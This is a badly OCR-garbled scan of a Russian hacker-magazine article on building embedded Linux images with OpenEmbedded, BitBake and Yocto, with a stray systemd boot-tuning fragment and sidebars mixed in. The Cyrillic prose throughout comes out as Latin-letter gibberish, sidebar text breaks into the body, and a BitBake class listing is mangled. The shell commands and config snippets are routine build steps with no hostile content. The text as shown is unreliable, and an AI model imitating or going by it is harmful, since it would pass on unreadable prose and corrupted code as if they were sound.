enable=0), npoaHanu3npoBaTh CKOPOCTb 3arpy3KM € MOMOLL b0

KoMaHAbl systemd-analyze W 0TKNOYUTL NULIHME OHUTBI,
OTKJ/I04MTb BbIBOJ, ANArHOCTUYECKNX COOBLLEHNI B KOHCOb,
nepecobpathb AAPO, BK/IIYMB B Hero Bce fpaiiBepbl (oTkasaTbes oT
MoAyNeil) U OTKIIOYMB 0TNAA0UHbIE OMLLUM, UCMOb30BaTb UMEHa
ycTponcts BMecTo UUID B /etc/fstab, ucnonbsosatb onuyuio agpa
libahci.ignore_sss=1 ans yckopeHus 3arpy3ku sapa m oTKNO4YUTD
noAAepXKY BUPTYasibHbIX KOHCONEN C NOMOLLbIO AeaKTUBaLun
COOTBETCTBYIOLIMX IOHMTOB systemd.
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BpeMsi 3ByKOBOA
cepsep PulseAudio
n cuctemy Avahi,
KoTopas obecneyu-
BaeT BO3MOXKHOCTb
obHapyxeHus cep-
BUCOB B JIOKaNbHOI
ceTu [cBo6opHaR
peanusaums npo-
Tokona ZeroConf).

® BcocTtaB
systemd Bknioye-
Hbl TaK Ha3sbiBae-
Mble reHepaTopsbl,
nossonsiowue
€03AaBaTh IOHUTbI
aBTOMaTUYeCKH.

® Systemd oT-
NIMYaeTCs BbICOKOI
MHTEeNNeKTyanb-
HocTblo. Hanpu-
Mep, anropuTMbl
0CTaHOBKHM
CUCTEMBI Y4un-
TbIBAKT Maccy
pa3HoobpasHbIxX
dopc-MaXopHbIX
CUTYaL MM 1 No3BO-
NAT KOPPEKTHO
M3 HUX BbIXOAUTD.
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UNIXOID

PomaH fipbixeHko (rommanio@yandex.ru)

i )

3

CO3AAHME
BCTPAUBAEMDbIX
CUCTEM HA OCHOBE
O®PEUMBOPKA
OPENEMBEDDED

B HacToslee BpeMs BCTpanBaeMble CUCTEMBI
MCNONb3YIOTCS NOBCEMECTHO, LOCTaTOYHO
BCMOMHWTb CEHCOPHble MHPOPMALMOHHbIE
KWMOCKM, MeMaLeHTPbl, MPUCTaBKHY,
nepeBoobpabatbiBatolme cTaHKK... Bo MHOrUX
13 HUX NpuMeHsieTca Linux — pa3ymeeTcs,
3T0 He MoHcTpyo3HbIn Ubuntu nnm CentOS,

a cneumanmM3npoBaHHbIN aUCcTpubyTHB,
CO3[aHHbI C NCMOJIb30BAHMEM KOHCTPYKTOPA
W COOTBETCTBYIOLLMIM 3aAaHHBIM KPUTEPUSM.

YKeneso, KOTOpoe UCNOL3YeTCH A1 NOCTPOEHUS BCTPANBAEMbIX

CUCTeM, 3a4acTylo BOBCe He X86-COBMeCTUMOE, N03TOMy TpeboBaHMs

K M0 MoryT BbITb CaMbiMK pa3HbiMU. A Bbigento ba3oBble:

e HapexHocTb. 3T0 TpeboBaHue oyeBuHo. Tebe pa3se 3axoueTcs,
4T06bI TBOST MUKPOBOJIHOBKA 3aBucna? [lymato, HeT.

e CTOMMOCTb KOHEYHOr0 YCTPOMCTBa. M 3T0 TOXe MOHATHO — paspa-
BOTUMKY, KOTOPbI NPOU3BOANT MHOTO TaKWUX YCTPOWCTB, BbIFOAHO,
4TOBbI KaX/0e yCTPONCTBO 06XOAMNOCH MY KaK MOXKHO AelleBrle.

112

Ans cbopku
. BUCTpubyTUBA

yTebs pomkHo
6bITb ,OCTATOYH(
MecTa Ha BUC]
KaK MUHUMYM

e Huskoe aHepronoTpebneHune. 370 yxe 3aboTa o knmeHTe. A ecnu
0HO OyAeT BbICOKWM, TO KJIMEHT KYMUT Bpyroe yCTPoicTBO.

Linux B TOW UNK1 vHo Mepe cooTBETCTBYET 3TUM TpeboBaHUsaM. OH Ha-
LeXHbl, paboTaeT Ha MHOrKX NnaTdpopMax, U CTOUMOCTb ero paspa-
BOTKM CTPEMUTCS K HYAIIO.

[anee s paM KpaTKU 0630p CyLLECTBYIOLLMX MHCTPYMEHTOB
1 dpeiiMBOpKOB A pa3paboTku embedded-cucTeM u nokaxy,
KaK C MCMOJIb30BaHMEM 0 HOTO U3 HUX COBpaTh COOCTBEHHbIN BCTpau-
BaeMblii gucTpubyTus.

06530P NHCTPYMEHTOB PA3PABOTHUKA

¢ OpenBricks. ®peiiMBopk Ans pa3paboTku BCTpanBaeMbix Auc-
TpnbyTHBOB. MofAepXKNBaET MHOXECTBO NiaThopM, cucTeMa
KOHOUTypaLWmM aHanornyHa reHTyLWHO.

e Buildroot. Habop make-daiinos 1 natyeit, KoTopbie No3BONAT
BbICTPO ¥ NpoCTO cObpaTh TyNYENH ANS PA3NNYHBIX NNATGOPM.

e OpenEmbedded. [locTaTo4HO MHTEpeCHOE 1 MOOfL0€ PELLEHNe
AN CO3AaHNs BCTpauBaeMbix AUCTpubyTneos. Cuctema cbopku
BitBake aHanoruyna ebungam Gentoo n nossonset rnbko HacTpau-
BaTb NapameTpbl cobupaeMoii cucTemsl.

e OpenWRT. luctpunbyTtns ans poytepos. o cyTyn, 3To «BCTpausa-
emasi cuctemMa HaobopoT», MOCKOJIbKY MO3BOJISET MONb30BATENHO
caMmoMy ycTaHaBnuBaTh 10 Ha ycTpoicTBO. 370, KOHEYHO, He 0T-
HOCWTCSA K TeMaTUKe CTaTbU, HO He YNOMSHYTb €ro i He MOT.
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BceM nexarts! PaboTaer BitBake!

e MontaVista. ®peiiMBOpK 419 CO3aHNSA BCTPanBaeMbIX CUCTEM.
3TOT NPOAYKT €AUHCTBEHHbIN U3 paccMaTpUBaeMbIX 34eChb CTOUT
LeHer, npuyeM focTatoyHo bonbluux. [MocnenHss ero Bepcus
(wectas) BknwyaeT B ceba IDE, ocHoBaHHbIN Ha Eclipse, Tyn-
4elH 1 cobcTBeHHO GpeilMBOpPK — sfpa caMble pa3HoobpasHble
KakK v nofaepxka BCeBo3MoXHbIX nnatopm — ARM, MIPS, PPC...

BbibpaTh, Kak BUAMLb, ecTb 13 Yero. f1 byay onucbiBaTh
OpenEmbedded, Ho He fymMato, 4TO OCHOBHbIE MPUHLMMbLI CUTb-
HO OTAMYalOTCS, — 3Has, Kak cobupaTb AMCTPUBYTUB Ha OCHOBE
OpenEmbedded, Tbl nerko cMoxelub cobpaTb ero Ha 0CHOBe TOrO Xe
OpenBricks. OpenEmbedded cyuiecTByeT B iByX BapuaHTax: cTapbli
OE-classic, n HoBbii — OE-core, KoTopbiii 5 v Oyay onuckiBaTh fanee.
OE-core nosiBuincs B pesynbtaTe obbeanHenus OpenEmbedded
¢ Yocto Project — oneHcopcHbIM NPOeKTOM MoA naTpoHaxeM Linux
Foundation.

MepBbIM 4e10M Hafl0 YCTaHOBUTL COOTBETCTBYIOWME NaKeTsl (Mc-
nonb3yetca Xubuntu 12.04):

$ sudo apt-get install sed wget cvs subversion «
git-core coreutils unzip texi2html texinfo
docbook-utils gawk python-pysqlite2 diffstat
help2man make gcc build-essential g++ «
desktop-file-utils chrpath libxml2-utils xmlto docbook

Mocne atoro, ncnonbsys dpkg-reconfigure, nepefenatb ccbiky Ha sh,
AN yero HabpaTb CleAyioLLyio KOMaHAY:

$ sudo dpkg-reconfigure dash
1 oTBETUTb oTpuuaTensHo. Cozgaem konwio penosntopus Git:

$ git clone git://git.openembedded.org/openembedded-core «
oe-core

$ cd oe-core

$ git clone git://git.openembedded.org/bitbake bitbake

MofIrOTOBKA

Tenepb Haf0 MOATOTOBUTbL OKPYXKEHUe. [11s 3TOro 3anycKaeM cooT-
BETCTBYIOLL NI CKPUNT:

$ . ./oe-init-build-env
OtkpoeM daiin build/conf/local.conf (Bce nyTv 3geck v fanee
ykasaHbl oTHocuTenbHo OE-core). ®aitn 6onbwoi, noatomy Huxe byaet

TOJIbKO €ro KyCoK. Bce nepeMeHHble 34ecb rnobasbHbl 1 nepeonpene-
NA0T BCe OCTasibHble, €C/IN TaKOBble eCTb B Apyrux ¢al7max.
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Cait npoekta OpenEmbedded

build/conf/local.conf

# Onuuu pacnapannenuMBaHua

# Ckonbko noTtokoB BitBake moxeT BbIMOAHATLCA OAHOBPEMEHHO?
# No pedonTy 3aKOMMEHTUPOBAHO, A Xe pacKOMMEHTMpOBan
BB_NUMBER_THREADS = "4"

# [lymaw, TYT MOACHATb HMYEro He Haj0 — HO Ha BCAKUNA

# cnydyaih.. OnumAa nepepaeTcA KoMmaHge make M nokasbiBaeT,

# CcKONbKO MpoLeccopoB MOXeT 6biTb 3aA4eACTBOBAHO MPU KOMMMU-
# naumn. Xenawwme NO3KCNEepUMEHTUPOBATb C ONTUMU3aLMeEN

# cbopku mMoryT 3agatb "-j n+l" wam "-j n+2", rge n -

# KONMYeCcTBO Npoueccopos

PARALLEL_MAKE = "-j 4"

# leneBaa mawuHa. Ecan He BblbpaHa HuKakasa apyras...
MACHINE ??= "gemux86"

# Kypna 3arpyxatb? Wmek B BuAy, H4TO MecCTa Ha AUCKe Hago
# MHOro — y MeHs nepBblii pa3 6b10 10 6 cBO6OAHO, M BCe
# cveno. Mpuuwnocb pacumpaTb

#DL_DIR ?= "$TOPDIR/downloads"

# Kyla coxpaHATb cTaTuyveckue ¢aisibl Ans yCKopeHus c6opku
# B panbHehwem? Toxe cbefaeT MHOro mecTa
#SSTATE_DIR ?= "$TOPDIR/sstate-cache"

# CucTeMa nakeToB. MOXHO Bb6paTb W3 CleAyHluUX:

# package_deb, package_rpm, package_ipk (ana BcTpauBaembix
# cucTem; ucnonbsyeTca, Hanpumep, B OpenWRT). BO3MOXHO

# ofHOBpeMeHHOe BKJYeHue

PACKAGE_CLASSES = "package_ipk"

# [lononHMTeNbHble napameTpbl KOHOUrypauuum obpasa

# [lobaBnAKwT HeKOoTOpble ¢MYKM B cCO3haBaemblii 0bpas. MoapobHee
# moxewb nocmoTpeTb B meta/classes/image.bbclass

# n meta/classes/core-image.bbclass

EXTRA_IMAGE_FEATURES = "debug-tweaks" # ycTaHoBneHo

# no pedonTy u cospaeT obpas c TBMKaAMM AnA paspaboTyuka —
# Hanpumep, BKJYeHWE 3TOW onuuM paspewaeT BXOAUTb MOA

# SSH kak pyT 6e3 naponfa. He CTOUT M roBOpPUTb, HTO 3TO

# HMKaK He ANA NPOMbIWIEHHOr0 NPUMEHeHUA

CO3IAHWNE CBOEI'0 OEPA3A

He TepnuTtcs npucTynuTb K co3faHuto obpasa? Moxelub cenatb 370
NPSIMO Ceyac — HO He NyYLLe M BHECTU KaKue-TO U3MEHeHNs, NyCTb
faxe n KocMeTnyeckne? A ans 3Toro He06X0ANMO HEMHOrO pa3bu-
paTbcsi B KoHGurax BitBake n npegctaBnsaTh, 4To 370 3@ 3Bepb BoobLE.
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BitBake — cpepncTeo, HanucaHHoe Ha lMuToHe (kak HeoxupaHHo!),
KoTopoe no3BossieT cobupatb nakeTbl. OCHOBHbIE HUYM:
®  KpocC-KOMNUAALUS;
* 06paboTka3aBuCUMMOCTe Kak Ans c6opKu, Tak 1 ANg 3anycka (Ko-
HEeYHo, eCN OHM OTpaXxkeHsl B haitnax *.bb/*.bbclass);
®  HenpuXoTAMBOCTb KapxuTekType — MUTOH Xe;
*  MofAepXKaHacnefoBaHus.

Yem *.bbclass otnnyaetcs ot *.bb? B knacchl BoiHeceHo Bce
obuiee, YyTo ncnonb3yetca B Gpaiinax MeTafaHHbix — *.bb, B KoTOpbIX
onucaHbl fencTeus s cbopku. MiHave rosops, knaccel 3g4ech ab-
cTpakTHble. KpoMe Toro, oT Kjlacca MOXHO HacnefoBaTh, a oT daitnos
*.bb — HeT. Ewwe nmetotca paninel *.conf — oHu rnobanbHo BAnsOT
Ha BCe MakKeTbl U KNacchbl. B HWX fonycKaloTCs ToIbKO ONpefiesieHns
nepeMeHHbIX U MHKAYAbI. Mpyu 3anycke BitBake cMoTpuT B Tekyuiem
katanore ¢ain conf/bblayers.conf, B koTopoM yka3saHo pacnonoxe-
HUWe cnoes.

«Cnoi» — abcTpakuus, no3sonstowas rubko KoHGUrypuposaTb
nTorosblii 06pas. lonycTum, Tebe Hapo KacToMmanposaTh 0bpas
nof onpefeneHHyt MalwuHy. Tbl fenaelwb 370, He 3aTparusas GUI.
M HaobopoT — ecnu Hafo 4TO-TO CAeNaTh C UHTEPPENCOM, TO HU-
Kenexalynii cnov Tbl He Tporaelwb. B cnosx nmetotca Takxe dannb
*.bbappend. JonycTnM, Tebe Hafo NPUMEHUTBL NATY K KakoMy-nnbo
nakety. Ytobbl cnepgosath npuHumny Okkama, Tol He Konupyellb dann
*.bb n3 aToro naketa, a cosgaews bbappend-daiin u B HeM yxe fo-
baBnsewWb To, YTO HYXHO.

[aBai nonpobyem co3faTb cBOM ol Ha ocHoBe meta-skeleton.
Ha3oBeM ero meta-xakep. Ytobbl 370 cenaTh, CKONUPYW TBOUM
nobuMbiM GaiinoBbIM MEHeJ)KepOM KaTanor meta-skeleton B meta-
xakep 1 fobaBb COOTBETCTBYOWYIO CTPOKY B Gpaiin build/conf/
bblayers.conf

BHyTpu meta-xakep ynanw Bce recipes-* u cosgaii nogkatasnor
recipes-core co clefywLUMU KaTanoramu:

* base-passwd/base-passwd-3.5.26 —TyT 1 bygyT n3mMeHeHus
e base-files—uTyTTOXKE HEbBONBLIOE;
* mages—KoHdUrypaums obpasa.

MepBbIM fesioM HaM Hafo nonpasuTb Gain meta-xakep/conf/layer.
conf. [Tocne peakTMpoOBaHMSA OH AOJIKEH BbIrNAAETb CefyoLLM
obpasom:

meta-xakep/conf/layer.conf

# K nepemeHHoit BBPATH pob6aBnsaeTcA KaTanor Tekywero cJos.
# OnepaTop npucBoeHua ".=" o03Ha4vaeT «A06aBUTb K CTpoke
# 6e3 npobena»

BBPATH .= ":${LAYERDIR}"

# JlobaBnsem Qaiinbl *.bb n *.bbappend cnos.

# ":=" — npucBoeHMe C 3amMeHOMN

BBFILES := "${BBFILES} ${LAYERDIR}/recipes-*/*/*.bb «
${LAYERDIR}/recipes-*/*/*.bbappend"

# 'py6o rosops, pobaBnseT Ha3BaHWe CNOA K COOTBETCTBYHWWEN

# nepemeHHoli. OnepaTop npucBoeHua "+=" — pobaBneHue
# Kk cTpoke c npobenom
BBFILE_COLLECTIONS += "xakep"

|
«CJIOW>» — ABCTPAKLIUA,
No3BOJIAIOLWASA TMBKO
KOHOUT'YPUPOBATb
UTOroOBbiX OBPA3
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OpenEmbedded MoxeT 3anyckaTbcs Ha Nokia N80O...

# 3arapo4Has nepemMeHHasn, KOTOpOﬁ BCerga npuceauMBawT
# UMeHHO 3TO, He MeHee 3arajgo4yHoe 3Ha4eHue
BBFILE_PATTERN xakep := "~${LAYERDIR}"

# MNpuopuTteT cnosa (ecaum cnou copepxaT OLMHAKOBbIE MaKeTbl)
BBFILE_PRIORITY xakep = 6

[anee cosnai bbappend-daiin gnq natya (cam naty Tel HallAe Wb
Ha HalleM auncke):

meta-xakep/recipes-core/base-passwd/«—
base-passwd_3.5.26.bbappend

# PacuupseT obnacTb noucka dainos. Yto Takoe ${THISDIR},
# noHATHo, a ${P} — umA u Bepcua nakeTa
FILESEXTRAPATHS_prepend := "${THISDIR}/${P}"

# Monaraw, TYT MOYTU HMUYEro Ob6bACHATb He Hajo.

# EAMHCTBEHHOE, 4YTO MOXHO [06aBUTb, — B KayecTBe

# MCTOYHMKOB MOryT mucnonb3oBaTbcA GIT, SVN, HTTP u ewe
# 0o Kyuu Bcero. [lpu 3ToM, nNpaBAa, HeEOb6XOAWMO YKazbiBaTb
# Yek-cymmy (MD5 unm SHA-256)

SRC_URI += "file://xakep-user.patch”

Ewe oguH bbappend:

meta-xakep/recipes-core/base-files/—
base-files_3.0.14.bbappend

# B npuHUMne, TO Xe camoe MOXHO chefaTb
# B build/conf/local.conf

hostname = "xakep-host"

A Tenepb Hanuwem bb-dain obpasa.

meta-xakep/recipes-core/images/

# HecMOTpA Ha TO 4TO Mbl HE MOXeM HaciefoBaTb

# oT bb-¢aitnoB, Mbl MOXeM UX BKAKWYATb

include recipes-core/images/core-image-minimal.bb

# MoppepxuBawTtcAa Takke brtfs, jffs2.. A BoT c cramfs

# MOXeT BO3HWKHYTb npobnema — 3aBUCUMMOCTb He onpejeseHa.
# Bnpo4em, eCTb BEpOATHOCTb, YTO K MOMEHTY BbiIXxofa CTaTbu
# 3To ucnpasAaT

IMAGE_FSTYPES = "tar.bz2 ext3 ext4"

#B o6pa3 BK/IlOY4€Hbl YTWUJIUTblI OTNaAKK, 4YTO6bl XOTb HEMHOr O

COOTBETCTBOBaTb Ha3BaHWK
IMAGE_FEATURES += "debug-tools"

XAKEP 01/168/2013



Y10 HaMm cTouT Tykca BCTponTb?

- QEMy
Dhisoonect | Options | Chpboard | Sevd Ot AX Digl

3anyuieHHbit 06pas B QGEMU

OpenEmbedded MoxeT 3anyckaTbcs Ha Raspberry Pi

YCTaHOBM CHOBa NepeMeHHble OKPYXXeHUs NyTeM 3anycka oe-init-
build-env — nuwwHwWi pa3 HMKorga He NoMellaeT, 3aNacuch KOGenkom
1 BNepes — L0 NofHoM KoMnunauum! Ax fa, KoMaHaa:

$ bitbake xakep-image

XoyeLlb 3aMycTUTb CKOMMUAUPOBaHHbIN 06pa3 B QEMU v He 3amo-
paunBaTtbcs ¢ VNC? Habepu cnepytouee:

$ rungemu gemux86 xakep-image serial

CnycTs kakoe-To BpeMs [y Tebs npeABapnTebHO 3anpocsT naposb
sudo A1 yCTaHOBKM nHTepderica tap) oH 3arpyauTcs, 1 Tbl yBUANLb
npurnalleHne BxoAa B cucremy.

KPOCC- NMNNAUNA 1 ADT

Kpocc-KoMnunsaums — 310 KOMIUAALMS U3-N0f 04HOM NiaThopMbl (xo-
cToBoi, host) ans gpyroit nnatdopmsl (uenesoi, target). MoyeMy Heobxo-
AVIMO KOMMUANPOBATb N0J, 0AHOM NNaTGOPMON To, 4TO ByAeT 3anyckaTbes
Ha ipyroii, HafielCb, 04EBMAHO — HaNpyUMep, OAHUM W3 CLIeHap1eB MOXeT
BbITh OTCYTCTBME PECYPCOB ANS KOMMMASLMM Ha LieneBoil nnaTdopMme.

XAKEP 01/168/2013

Kpocc-komnunsuyus 8 OpenEmbedded nponcxoput Tak:

e Brepsyto 0uepeab3arpyXaTcsi UCXOAHNKM KpoCC-TynyeinHa (Ha-
6opayTUANT AN Kpocc-cHOpKK, B KOTOPLIA BXOAAT KOMIUAATOP,
accembnep, IMHKEP 1 0TNAAYUK].

e Cuncnonb3oBaHWeM ye yCTAHOBIEHHOM0 KOMMUASTOPA OHU CO-
BupatoTcs B ucnonHseMble Gaibl—HO He L5 LLe1eBO CUCTEMbI,
aanaxXoCTOBOW.

e Cuncnonb3oBaHNeM KpOCC-KOMMUNATOPA Ha OCHOBE UCXOAHWKOB
KpOCC-KOMMUANPYEMOI NPOrpaMMbl reHepupyeTcs acceMbnepHblii
KOA (KCTaTH, BO3MOXKEH TaKKe U POMEXYTOYHbIN Kog).

e AcceMbnep nepeBOANT KOA B KOMaH/bI MpoLeccopa.

e JIuHKep KOMMNOHYyeT Nosy4YeHHbIN Ko c bubnmoTekamun. 3ToTaTan
BHEKOTOPbIX CAly4asnX, TaKMUX, HANpUMep, Kak KOMNUAALUA AApa UK
6ubnuoteku glibc/uclibc, HeobsizaTeneH.

Bo3MOXHO, 51 omycTun HekoTopble geTanu (paboTy npenpoueccopa,
Hanpumep), HO B LLeNIOM Kpocc-cHopKa 0CYLLeCTBAAETCA BbILEONUCaH-
HbIM 0bpa3oM. [Ins pa3paboTku npunoxeHuii nog OpenEmbedded He-
obxogum ADT (Application Development Toolkit) — 8 OpenEmbedded-
classic aHanornyHoe cpefcTBo HasbiBanock SDK. ADT BknitoyaeT
B cebs cnepyolwme yacTu:
®  KPOCC-TYNYENH—YTO B HEr0 BXOAUT, f1y)KE NNCaN BbILE;

e Sysroot—6a3upyetcsaHaobpaseuenesoit kopHeBod OC v cogepxuT
3arofloBoYHble Gaitibl, BUbINOTEKM U HeKOTOpble KOHOUMU;

e QEMU—be3koMMeHTapwes;

* HeKoTopble TyN3bl AN15 yNpoLieHus pa3paboTku, Takue, Hanpumep,
kak LatencyTOP, OProfile, Perf;

* yMeeTcATakxe nnaruH ansa Eclipse ot Yocto Project.

PaccMoTpio nocnefHuit 4yTh nofpobHee. 3TOT NnarvH ynpouiaet
pa3paboTKy NPUNOXKEHUI A1S KOHEYHOTO UCMONb30BaHMS U MO3BOASET
HenocpeAcTBeHHO 13 Eclipse Npou3BoAMTL KPOCC-KOMNUAALMIO, NPO-
GUNUPOBKY 1 0TNafKy. Takxxe NofAepK1BaeTcs Habop MHCTPYMEHTOB
Ans cbopa AaHHbIX 0 NMUTAHWUW, 3a[lepXKKaX N NPOU3BOJUTENBHOCTH.

1 3nechb He OyAy paccMaTpuBaTh YCTaHOBKY, ULLb Nepeyunciio Heobxo-

LVMble CpeAcTBa:

e EclipselIndigo3.7.2—cobctBeHHo IDE;

e CDTcnoppepxkoit Autotools —Tynkut ans C-pa3paboTtynkos;

e LTTng—LinuxTracing Toolkit—Tynkut ans TpaccupoBky;

¢ TMand RSE—Target Managementand Remote System Explorer.
B paaHHOM ciyyae aToT nnarvH HeobxoauM ANns yaaneHHoroynpasne-
HUS 0TNIaXWNBaEMOW CUCTEMOMN.

Y70 Xe no pa3pa60TKm I'IpVIJ'IO)KeHVII;I ANA BCTPpanBaeMbIX CUCTEM,
TOTYT €CTb Napa HAHCOB, 0 KOTOPbIX X0TeN10Chb Obl YNOMAHYTb.

OpenEmbedded ucnonb3oBancs npu cozganum nnatel FriendlyARM Mini2440
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goila [pasas [ay Iepuwiss Mgpeing [rpssss
B0 DEFAULT_TASK 7= “hulld”
CLASSDVERRICE T= ™ilag

inhéril patdh
inherit ataging

Lrharit =lrrory
inherit utils
fnharit utility-tasia
inherit seladals_iiw
inharit lagging

OE_TWPORTE &= “gg 4y3 1088 S4.PRTH o8 UTLLY o4 dBTE &8, PaSRaEegrouy o8 . RETOTREIE

o, Iak®
OE_TWrORTS[type] = “list®

daf oa_impartidl:
tepart sy

Bbpath = o, goiVar ( "BAFATH™, Trwe).ipliti= =}
sps.pathi:n] = [os.parh.joinddir, “Lib"§ for dir in bbpath]

saf Lnjectiness, value):

LI ] [ E—

Ba3oBbiit knacc BitBake, 0T KoToporo B KOHEYHOM UTOTe HacNefyeTcs BCe 0CTajibHOe

Bo-nepBbix, ecnu Thl pa3pabaTtbiBaellb HEYTO HU3KOYPOBHEBOE,
TO [LOJKEH MOMHMWTb 0 TOM, Kakasl apxmuTekTypa bygeT npuMeHsaTsbes
B KayecTBe LeneBoii: big-endian nnu little. Bo-BTopbIX, ecau ncnons-
3yelwsb He glibc, a, Hanpumep, uclibc, To B Hell nMetoTCs cnepyoLmne
orpaHuyeHus:
* HenoagepxuealoTcs 6asbl aHHbIx (MMetoTcs B Buay Berkley DB

M NPOU3BOAHbIE);
o NISHenoagepxnBaeTca [3TOTaHaXpOHN3M elLe rae-To ucnosbayerca?);
e ype3aHHasi NOALEpXKKa JIoKanen.

®AMJIOBBIE CUCTEMbI 1 3ATPY34NK

Ha aTane nnaHupoBaHus Tbl 4OKeH BbIbpaTh, Kakyto $annosyio

cucTeMy byaelb ncnonb3oBaTh. BapnaHToB 3ech A0CTaTOYHO

MHOTO, KaK, BIPOYeM, 1 BO BCEM 0CTaslbHOM, 4To KacaeTcs Linux-

cucteM. Ho npexze BCero oTBeyy Ha He3afaHHbI BONPOC — noyemy

L9 BCTPauBaeMblX CUCTEM HE PEKOMeHAYeTCs UCMoNb30BaTh Ha-

cTonbHble OC.

/13-3a ocobeHHOCTel pnew-naMaTi, B OCHOBHOM U NpUMeHse-
MoV npu pa3paboTke BCTpavBaeMblX CUCTeEM, 0AUH bUT uHbopMaLum
nonyckaeTcs cbpacbiBaTb B Hy/b, B TO BpeMs Kak Ass obpaTHol
ornepauyunm — U3MEHeHUs C HyAs Ha eAnHULY — HeobxoauMo nepe-
BECTU B 3T0 COCTOSIHMe BeCb 6n1ok. Mntoc K aToMy y dnew-namaTy
OrpaHUYeHHbIN CPOK CNyXObl, To eCTb 610KM MOryT ObITh NEpe3anuca-
Hbl ONpefesieHHoe YXCI0 pas, a NOTOM OHU «MopTATCH». KpoMe Toro,
bbIBaOT TaKMe CUTyaLMK, KOTAA NUCATb Ha YCTPOWCTBO He TpebyeTcs
1N HeBo3MoXHo. M3 aToro cnepyeT, yto OC fonxkHa bbITb cnpoekTn-
poBaHa C y4eTOM BbILIECKA3aHHOTO U UMETb creaylolne GyHKLUM:

e cbopMycopa— AN NoATOTOBKM MCMNONb30BaHNA 3aCOPEHHbIX 610~
KoB. [1pyaToMTa yacTb 610Ka, YTO eLLe HE 3aCOPEHa, MEPEHOCUTCS
Ha Aipyroi 610K, a cTapblii 650K CTUPAETCA M BHOBL CTAHOBUTCS NPU-
FOAHbIM NS UCTIONb30BaHUS;

®  KOHTpPONbAedeKTHbIXx 6n0KoB. TyTBCE bonee-MeHee ACHO —He-
KoTopble 610K COBpeMeHeM CTaHOBATCA HEFOAHbBIMMU A1 UCMONb-
30BaHNA, U MX GU3UYECKOEe MONOXEHWNE HAL0 FAe-TO 3aNNUChIBaTh.
HekoTopble ycTpolicTBa Nof4epXKMBatOT 3TO Ha annapaTHOM YPOBHe,
HO AN HEKOTOPbIX 3a4a4y A0/KHa peann3oBbiBaTh OC;

e ONTUMM3aLms U3Hoca. M3-3a orpaHuyeHHoro cpoka ciyxobl drewu-
namaTN NPUXOANUTCS NPUAYMbIBATL aNrOPUTMbl A1S YMEHbLIEHNS
ee u3Hoca. MiMetoTcs 4Ba BMAA aNropuTMOB yMeHbLLIEHUS N3HOCa —
OMHaMWYeCKuit, KOTOPbI NbiTaeTcs pacnpeaenuTs nHdopMaLmio
nob6s0kaM paBHOMEPHO, @ He MUCaTb B OUH M TOTXe 610K Mo MHOTY
pas, ¥ CTaTUYeCKWUi —HeKOTopbIe TUMbl pNel-NaMaTh NMeloT elte
M OorpaHuYeHne Ha BpeMs YTEHNS MeXAY ABYMS 3aNnUCSMu; ecnn
B 610K CIMLLIKOM LOAIFO HE NWUCaTb, JaHHbIE MOryT NponacTs. Tak BOT,
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cTaTUYecKumn anropuTM CcTapaetcanpenynpenuTb naT0, Nepenmncbl-
Bad CTapble LaHHbIe BHOBbIE 6J'IOKVI;
¢ BO3MOXHOCTb XpaHeHUA VIHq)OpMaLlVIVI BCXaToM BUpe.

He Bce dalinosble cMCTEMBI, KOTOPbIE f XO4Y ONWUCATb, AOCTYMHbI

B LaHHbIM MoMeHT B OpenEmbedded. Tem He MeHee npepcTaBneHme

0 HUX UMEeTb Hafo.

e cramfs—®Ctonbko gns yTeHns. [pocTa v komnakTHa. lMoaaepxu-
BaeTzlib-cxatue.

¢ SquashFS—ocHoBHoe oTnnyne ot cramfs—atoanroputm LZMA.
JFFS2—pa-pa, Tbl NnpaBubHO forafancs, Yyto nepsas byksa o3Ha-
yaeT«Journal» —xypHanupyemas. [lognepxusaet cbop Mycopa
¥ oNTUMM3aLMio U3HoCa.

e YAFFS2—ucnonb3yetcs B Android. Mo cpaHenuto c JFFS2, cbop-
WKk Mycopa, bonee npocTon n BbICTpbIA. MOHTUPOBaHWeE TakXe
npoucxoauT beicTpee.

o UBIFS—cerofHs nnsBCTpavBaeMblX CUCTEM PEKOMEHAYETCS
ncnosnb3oBaTh UMeHHO 3Ty OC, NOCKOMIbKY B HE MosiBUIICS YpO-
BeHbabcTpakym—roma UBI. Toma UBI coszpatoTcsi Tonbko nosepx
«CblIpbIx» Gpriew-ycTpoicTe — Hukakux SD/MMC nnn CF! Cnyxat oHu
NpUMepHo ANaTex e Lenei, yton LVM.

Mocne cozpaHus obpasa ero Hafo Kak-To rpy3unTsb. B oTanyne
0T HAaCTOJ/IbHbIX CUCTEM, BO BCTPaMBaeMblX CUCTEMAX 3a4acTyio HeT
BIOS, noatomy Hago nubo nucatsb IPL camomy, nubo ncnonb3osath yxe
rotoBbli IPL, KOTOPBIA, BO3MOXHO, BCe paBHO NpuaeTcs fopabaTbiBaTh
py4kamu. B kayecte nocnepHero yacTo ncnonb3syerca U-Boot, Ha-
3BaHHbIN B 4eCTb OLLHOUMEHHOMN NOLABOLHON NoaKW. KoHdurypaums ero
MPOUCXOANT Yepe3 n3MeHeHue h-dbainos, To eCTb B paHTalMe HUYero
M3MeHsATb Henb3s. [Tocne KOMAUAALUM YCTAHOBUTL €r0 MOXHO, 60
06HoBYMB yXe cyuecTBytowuin U-Boot, nubo npowus yepes JTAG.

B cTaTbe s paccMoTpen dpeiimopk Ans cbopku OpenEmbedded.
KoHeuHo, He MONHOCTbio — YTO6ObI NOAPO6HO ero onucath, NPULWOCH
Obl HaBaATb Lenyto KHUry. Ho 1 1 He cTaBun nepef coboi Takylo
3apayy. Takke, HECMOTPS Ha TO Y4TO Mbl pacCMaTpPUBaN TONbKO
OpenEmbedded, cTatbs gaet npefcTaBieHne o TOM, Kak MpoUCXoauT
cbopka BcTpanBaeMbix cucTeM BoobLye — cobupaellb v Tbl C UCMOMb-
30BaHueM Buildroot nnbo xe ncnonbayewws OpenBricks. 32

DVD
NJATOOPMA YOCTO aiows apone

cnpuMepoM csos.

Yocto npepoctaBnsieT Habop KOMNOHEHTOB (MH- (WWW|
cTpyMeHTapui paspaboTumka, cuctema cbopku ® yoctoproject.

org — uHdopMauus
0 BCTpauBaeMoM
Linux, B TOM yucne

Poky, Habop nporpaMMHbIx MHTepdencoB, KoJi-
nekuns MeTanakeToB) Ans co3gaHus cobcTBeH-

HbIX AUCTPUBYTUBOB ANS BCTPanBaeMbiX NPOAYK- M BOKYMeHTauus,
TOB Ha 6a3e pa3/INYHbIX annapaTHbIX apXUTEKT oTHocAWascs k Open-
P P P VP Embedded.

B ToM yncne ARM, PPC, MIPS, x86 n x86-64. MNoka

cTaTbs roToBMUSIACh K BbINyCKY, Bbiwen Yocto 1.3.

